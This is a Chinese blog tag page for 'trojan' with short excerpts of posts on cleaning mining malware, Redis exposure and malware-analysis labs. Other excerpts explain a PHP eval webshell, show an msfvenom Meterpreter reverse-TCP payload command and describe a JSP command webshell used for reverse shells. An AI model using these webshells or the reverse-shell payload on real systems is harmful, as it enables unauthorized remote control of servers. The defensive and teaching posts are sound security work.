木马
挖矿木马自助清理手册
挖矿木马自助清理手册 挖矿木马会占用CPU进行超频运算，从而占用主机大量的CPU资源，严重影响服务器上的其他应用的正常运行。黑客为了得到更多的算力资源，一般都会对全网进行无差别扫描，同时利用SSH爆破和漏洞利用等手段攻击主机。部分挖矿木马还具备蠕虫化的特点，在主机被成功入侵之后，挖矿木马还会向内网渗 ......
一句话木马
一句话木马原理： 利用文件上传漏洞，往目标网站中上传一句话木马，然后你就可以在本地通过中国菜刀chopper.exe即可获取和控制整个网站目录。@表示后面即使执行错误，也不报错。eval（）函数表示括号内的语句字符串什么的全都当做代码执行。$_POST['attack']表示从页面中获得attack ......
黑客是这样通过木马控制你的计算机（上）
一、背景介绍 Metasploit就是一个漏洞框架。它的全称叫做The Metasploit Framework，简称叫做MSF。Metasploit作为全球最受欢迎的工具，不仅仅是因为它的方便性和强大性，更重要的是它的框架。它允许使用者开发自己的漏洞脚本，从而进行测试。Metasploit(msf ......
排除挖矿木马xxi
排除挖矿木马 最近笔记本带不太动idea，又看到idea的远程开发，便动了搞个服务器的心思。 因为只是想用来自己开发玩玩，但是JB的Gateway又要求最低4G，于是便图便宜买的天翼云的4核8G，体验还行，就是一开始不太好找。 说回正题，新建用户idea，然后一系列操作后正常使用，但第二天再次打开g ......
msfvenom创建木马
我们使用metasploit中的另一个后门工具msfvenom生成一个木马，方便我们测试meterpretermsfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.25.128 LPORT=1234 -f exe -o /root/she ......
【Unity】旋转木马
对三角函数进行实际操作，需要对木马移动进行平滑插值 木马起伏采用的Cos函数的周期实现 using System.Collections; using System.Collections.Generic; using UnityEngine; public class MerryGoRound : ......
加密木马分析
前言 记一次恶意代码分析 教程：《恶意代码分析实战》第九章实验Lab9-1 恶意代码样本：https://github.com/mikesiko/PracticalMalwareAnalysis-Labs 实验环境（虚拟环境） Windows XP：Ollydbg 1.1 Windows 10：ID ......
赶快检查，木马可能已经植入服务器，Redis未授权访问漏洞记录，redis的key值出现backup要谨慎
问题描述：为图省事，很多时候我们在使用redis的时候会使用默认空密码，这就增加了安全隐患，如果有下属情况，那赶快去检查下redis，木马或许已经植入服务器，应尽快处理： 1.redis绑定在 0.0.0.0:6379，没有设置对应的端口IP安全策略；2.没有设置密码，使用了默认的空值。 3.key ......
JSP木马整理
一、无回显一句话木马 http://localhost/index.jsp?cmd=whoami不会回显执行的结果只能在后台打印一个地址，常用来反弹shell <%@ page contentType="text/html;charset=UTF-8" language="java" %> <htm ......